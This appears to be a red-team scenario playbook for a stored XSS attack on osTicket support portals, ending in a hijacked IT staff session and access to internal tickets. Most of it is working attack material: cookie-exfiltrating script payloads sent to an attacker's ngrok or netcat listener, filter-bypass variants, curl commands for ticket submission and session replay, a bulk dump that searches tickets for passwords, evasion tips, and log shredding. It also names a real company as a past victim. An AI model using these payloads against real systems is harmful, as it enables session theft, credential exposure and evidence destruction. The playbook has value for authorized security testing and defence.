---
name: rt-scenario-w003
description: "W-003: Stored XSS → IT Staff Session Hijack → Internal Data Access. Domain: web. Attack chain: find ticket portal → submit XSS payload → IT staff opens ticket → cookie stolen → login as staff → read all internal tickets. MITRE: T1059.007 → T1539 → T1078. Real example: Almentor: osTicket /open.php → XSS in subject → IT staff cookie → server passwords in tickets"
---

# W-003: Stored XSS → IT Staff Session Hijack → Internal Data Access

## Overview

| Property | Value |
|---|---|
| Attack Objective | Steal IT staff session cookies via stored XSS in a support ticket portal, then impersonate staff to read all internal tickets (which may contain credentials, server passwords, and sensitive infrastructure data) |
| Required Access Level | None (unauthenticated — attacker only needs the ability to submit a support ticket) |
| Estimated Time to Execute | 30–90 minutes from initial reconnaissance to session hijack |
| Detection Risk Level | Low (XSS payload fires client-side; no server-side anomaly until the stolen session is used) |

---

## Prerequisites

### Required Tools

```bash
# Netcat — cookie exfiltration listener
sudo apt install netcat-traditional -y

# Alternatively, use ngrok for public HTTPS callback URL
curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

# BurpSuite Community (optional — for payload crafting and request interception)
# Download from: https://portswigger.net/burp/communitydownload

# curl — for ticket submission and session replay
sudo apt install curl -y

# Python3 http.server — lightweight exfil listener alternative
python3 -m http.server 8888
```

### Required Conditions

- Public or intranet-accessible osTicket (or similar) support portal with a ticket submission endpoint
- No HttpOnly flag on session cookies (required for JavaScript cookie theft)
- XSS sink in a field rendered to IT staff without sanitisation (subject, message body, custom field)
- Attacker controls an HTTP/HTTPS endpoint reachable from the victim's browser (cookie exfil destination)

### Skill Level

**INTERMEDIATE** — requires understanding of XSS payload construction, cookie exfiltration, and HTTP session replay. No exploit framework required.

---

## Attack Chain

```
[ATTACKER]
    |
    |-- 1. DISCOVER ticket portal endpoint
    |        osTicket: /open.php, /support/, /helpdesk/
    |
    |-- 2. CRAFT stored XSS payload
    |        Inject <script> into ticket Subject or Body field
    |
    |-- 3. SUBMIT ticket
    |        POST /open.php — payload stored in database
    |
    |-- 4. WAIT for IT staff to open ticket
    |        Staff views ticket in /scp/tickets.php
    |        Payload fires in staff browser
    |
    |-- 5. RECEIVE stolen session cookie
    |        Exfil listener captures document.cookie via HTTP GET
    |
    |-- 6. REPLAY stolen session
    |        Use Set-Cookie header to authenticate as IT staff
    |
    |-- 7. READ all internal tickets
    |        Browse /scp/tickets.php — access all internal data
```

### MITRE ATT&CK Chain

| Phase | Technique |
|---|---|
| Payload Injection | T1059.007 — Command and Scripting Interpreter: JavaScript |
| Session Theft | T1539 — Steal Web Session Cookie |
| Account Access | T1078 — Valid Accounts |

---

## Step-by-Step Execution

### Step 1 — Discover the Ticket Portal

**Objective:** Confirm the osTicket endpoint is publicly accessible and identify the submission form.

```bash
# Probe the known osTicket paths
curl -s -o /dev/null -w "%{http_code}" https://TARGET/open.php
curl -s -o /dev/null -w "%{http_code}" https://TARGET/support/open.php
curl -s -o /dev/null -w "%{http_code}" https://TARGET/helpdesk/open.php

# Spider for ticket-related paths
gobuster dir -u https://TARGET -w /usr/share/wordlists/dirb/common.txt \
  -x php,html --no-error -q | grep -i "ticket\|support\|open\|help"
```

**Expected Output:**
```
200  → /open.php found
```

**Fallback:** If gobuster finds nothing, check page source of the main site for links to `/support` or `/helpdesk`. Also try Shodan: `shodan search "osTicket" hostname:TARGET`.

---

### Step 2 — Start the Cookie Exfiltration Listener

**Objective:** Stand up a listener that will receive the stolen cookie.

```bash
# Option A — netcat listener (works on same machine with port forwarding)
nc -lvnp 8888

# Option B — Python HTTP server (logs full GET requests including cookie param)
mkdir /tmp/xss-catch && cd /tmp/xss-catch
python3 -m http.server 8888

# Option C — ngrok public HTTPS tunnel (best for bypassing same-site restrictions)
ngrok http 8888
# Note the public URL: https://XXXX.ngrok.io
```

**Expected Output (ngrok):**
```
Forwarding  https://abc123.ngrok.io -> http://localhost:8888
```

Store your exfil URL:
```bash
EXFIL_URL="https://abc123.ngrok.io"
```

---

### Step 3 — Craft the XSS Payload

**Objective:** Build a JavaScript payload that exfiltrates the IT staff's session cookie to your listener.

**Basic payload (URL-safe):**
```javascript
<script>new Image().src='EXFIL_URL/?c='+encodeURIComponent(document.cookie)</script>
```

**Obfuscated payload (bypass naive filters):**
```javascript
<img src=x onerror="fetch('EXFIL_URL/?c='+btoa(document.cookie))">
```

**SVG-based payload (bypass tag filters):**
```xml
<svg onload="var x=new XMLHttpRequest();x.open('GET','EXFIL_URL/?c='+document.cookie);x.send()">
```

**Cookie + URL exfil (maximum context):**
```javascript
<script>
var d=document.cookie;
var u=window.location.href;
new Image().src='EXFIL_URL/?c='+encodeURIComponent(d)+'&u='+encodeURIComponent(u);
</script>
```

Replace `EXFIL_URL` with your ngrok/netcat endpoint before use.

---

### Step 4 — Submit the Malicious Ticket

**Objective:** Store the XSS payload in a field rendered to IT staff.

**Option A — Browser (manual):**

1. Navigate to `https://TARGET/open.php`
2. Fill in required fields (name, email — use disposable details)
3. In the **Subject** field, paste your XSS payload
4. If the subject is length-restricted, try the **Message Body** or any custom field
5. Submit the ticket

**Option B — curl (scripted):**

```bash
curl -s -X POST "https://TARGET/open.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "name=John Smith" \
  --data-urlencode "email=john.smith.test@mailinator.com" \
  --data-urlencode "subject=<script>new Image().src='${EXFIL_URL}/?c='+encodeURIComponent(document.cookie)</script>" \
  --data-urlencode "message=I need assistance with my account access." \
  --data-urlencode "topicId=1"
```

**Expected Output:**
```
HTTP 200 or redirect to ticket confirmation page
Ticket #XXXX created
```

**Fallback:** If the Subject field is sanitised, try:
- Message body (rich-text editors often allow raw HTML)
- Custom fields (phone, company name)
- Attachment filename (some portals render filenames)
- Use double-encoding: `%3Cscript%3E...` if the server decodes once before storing

---

### Step 5 — Wait for IT Staff to Open the Ticket

**Objective:** The payload fires automatically when any IT staff member views the ticket in the staff control panel.

osTicket staff view paths:
- `/scp/tickets.php` — ticket list
- `/scp/tickets.php?id=TICKET_ID` — individual ticket view

Typical response time: minutes to hours depending on support SLA.

Monitor your exfil listener:

```bash
# If using Python http.server, watch the log:
# 192.168.1.x - - [DATE] "GET /?c=COOKIE_VALUE HTTP/1.1" 200 -

# If using ngrok web UI:
open http://127.0.0.1:4040
```

**Expected Output (listener receives):**
```
GET /?c=OSTSESSID%3Dabc123def456; Path=/; ... HTTP/1.1
```

---

### Step 6 — Extract and Replay the Stolen Cookie

**Objective:** Use the stolen session cookie to authenticate as the IT staff member.

```bash
# Decode the captured cookie value
python3 -c "import urllib.parse; print(urllib.parse.unquote('ENCODED_COOKIE_VALUE'))"

# Store the clean cookie
STOLEN_COOKIE="OSTSESSID=abc123def456"

# Verify session is valid — should return the staff dashboard
curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/index.php" | grep -i "welcome\|dashboard\|logged"
```

**Expected Output:**
```html
<h1>Welcome, IT Admin</h1>
<!-- or any authenticated staff page content -->
```

**Fallback:** If the session has expired, wait for the IT staff member to re-open the ticket (re-trigger the payload). Alternatively, try other cookies captured in the same request.

---

### Step 7 — Access All Internal Tickets

**Objective:** Read all internal support tickets, searching for sensitive data such as server passwords, credentials, and infrastructure details.

```bash
# List all tickets (staff view)
curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/tickets.php" | \
  grep -oP 'tickets\.php\?id=\d+' | sort -u

# Read a specific ticket
curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/tickets.php?id=1234" | \
  python3 -m html.parser 2>/dev/null || \
  python3 -c "import sys,html; [print(html.unescape(l)) for l in sys.stdin]"

# Automated bulk ticket dump
for ID in $(seq 1 500); do
  CONTENT=$(curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/tickets.php?id=$ID")
  if echo "$CONTENT" | grep -qi "password\|credential\|secret\|server\|ssh\|root\|admin"; then
    echo "=== TICKET $ID (SENSITIVE) ===" >> /tmp/sensitive_tickets.txt
    echo "$CONTENT" >> /tmp/sensitive_tickets.txt
  fi
done

echo "Sensitive tickets saved to /tmp/sensitive_tickets.txt"
```

**Expected Output:**
- Ticket contents including email threads, staff notes, and attachments
- Possible high-value finds: server credentials, VPN passwords, SSH keys pasted into tickets, internal IP addresses, API keys

---

## Real-World Reference

**Target:** Almentor (almentor.net)
**Platform:** osTicket (customer support portal)
**Vulnerable endpoint:** `/open.php` (unauthenticated ticket submission)
**Vulnerable field:** Ticket Subject — rendered unsanitised in IT staff panel
**Attack outcome:**
- Submitted a ticket with an XSS payload in the Subject field
- IT staff opened the ticket in `/scp/tickets.php`
- JavaScript executed in the IT staff's browser, exfiltrating their `OSTSESSID` cookie
- Session replayed to authenticate as IT staff
- Internal ticket history accessed — tickets contained server passwords, database credentials, and internal infrastructure notes

This is a zero-click attack from the attacker's perspective: no user interaction is required beyond submitting the ticket.

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique ID | Technique Name | Sub-technique |
|---|---|---|---|---|
| 1. Discover ticket portal | Reconnaissance | T1595.003 | Active Scanning: Wordlist Scanning | — |
| 2. Craft XSS payload | Execution | T1059.007 | Command and Scripting Interpreter | JavaScript |
| 3. Submit malicious ticket | Initial Access | T1190 | Exploit Public-Facing Application | — |
| 4. Payload fires on staff | Execution | T1059.007 | Command and Scripting Interpreter | JavaScript |
| 5. Cookie exfiltrated | Credential Access | T1539 | Steal Web Session Cookie | — |
| 6. Replay stolen session | Defense Evasion / Persistence | T1078 | Valid Accounts | T1078.001 (Default Accounts) |
| 7. Read internal tickets | Collection | T1213 | Data from Information Repositories | — |

---

## Detection and OPSEC

### How This Attack Is Detected

| Detection Point | Mechanism |
|---|---|
| XSS payload in ticket body | WAF with XSS signature rules (ModSecurity CRS, Cloudflare) |
| Outbound HTTP from staff browser to unknown host | Proxy/NGFW egress filtering, DNS monitoring |
| Exfil callback to ngrok/external IP | SIEM alert on outbound connections to ngrok.io or similar |
| Session used from new IP/geolocation | Anomaly detection on authentication events |
| Bulk ticket enumeration | Rate limiting, IDS alert on sequential ID access |

### Reducing Detection Risk During Authorized Engagement

- **Use a client-controlled exfil host** — request an IP/domain within scope rather than ngrok, to avoid triggering third-party domain alerts.
- **Use HTTPS for exfil** — plain HTTP requests to an external host are more likely flagged.
- **Limit ticket submission rate** — submit one ticket, wait; do not spam submissions.
- **Do not enumerate all tickets aggressively** — access only a representative sample to demonstrate impact. Use slow enumeration with random delays.
- **Use a dedicated browser profile** — avoid mixing your own cookies with replayed sessions.
- **Coordinate timing** — work during business hours when staff ticket review is likely, to shorten dwell time.

```bash
# OPSEC-safe enumeration with delay
for ID in 1 50 100 200 300; do
  curl -s -b "$STOLEN_COOKIE" "https://TARGET/scp/tickets.php?id=$ID" -o /tmp/ticket_$ID.html
  sleep $((RANDOM % 10 + 5))
done
```

### Artifacts Left Behind

| Artifact | Location | Notes |
|---|---|---|
| Submitted ticket with XSS payload | osTicket database, `ost_ticket_thread` table | Persists until deleted by staff |
| Ticket confirmation email | Attacker disposable email | Minimal exposure |
| Staff browser history | Victim workstation | Shows external HTTP GET to exfil host |
| Web server access log | osTicket server | Records ticket submission from attacker IP |
| Exfil server log | Attacker-controlled host | Contains stolen cookie value — destroy after engagement |
| Session replay requests | osTicket access log | Authenticated requests from attacker IP, not staff IP |

---

## Cleanup

Execute the following after the engagement to remove artifacts:

### 1. Delete the Malicious Ticket (requires staff or admin access)

```bash
# Via staff panel — delete the ticket
curl -s -b "$STOLEN_COOKIE" -X POST "https://TARGET/scp/tickets.php" \
  --data "id=TICKET_ID&a=delete&token=CSRF_TOKEN"

# Or: log in as staff via stolen session and delete through the UI
```

### 2. Remove Exfil Server Logs

```bash
# On your exfil/listener server
shred -u /var/log/nginx/access.log
# Or clear Python http.server terminal history
history -c
```

### 3. Purge Local Evidence

```bash
# Remove dumped ticket content
shred -u /tmp/sensitive_tickets.txt
rm -rf /tmp/xss-catch/
rm /tmp/ticket_*.html

# Clear shell history
history -c && history -w
```

### 4. Notify Client

After cleanup, provide the client with:
- The ticket ID submitted (so they can verify deletion from the database directly)
- Timestamp of the payload submission and session replay
- Recommendation to purge osTicket logs covering the engagement window

---

## References

### Tools

| Tool | Purpose | URL |
|---|---|---|
| osTicket | Target platform documentation | https://osticket.com |
| ngrok | Public tunnel for cookie exfil listener | https://ngrok.com |
| BurpSuite Community | Request interception and payload crafting | https://portswigger.net/burp |
| OWASP XSS Filter Evasion Cheat Sheet | Payload bypass techniques | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |
| PayloadsAllTheThings — XSS | Payload library | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection |
| XSSHunter | Blind XSS detection and cookie capture | https://xsshunter.trufflesecurity.com |

### MITRE ATT&CK References

| Technique | URL |
|---|---|
| T1059.007 — JavaScript | https://attack.mitre.org/techniques/T1059/007/ |
| T1539 — Steal Web Session Cookie | https://attack.mitre.org/techniques/T1539/ |
| T1078 — Valid Accounts | https://attack.mitre.org/techniques/T1078/ |
| T1190 — Exploit Public-Facing Application | https://attack.mitre.org/techniques/T1190/ |
| T1213 — Data from Information Repositories | https://attack.mitre.org/techniques/T1213/ |

### Remediation References

| Resource | URL |
|---|---|
| OWASP XSS Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html |
| Content Security Policy (CSP) | https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP |
| HttpOnly Cookie Flag | https://owasp.org/www-community/HttpOnly |
| osTicket Security Hardening | https://docs.osticket.com |
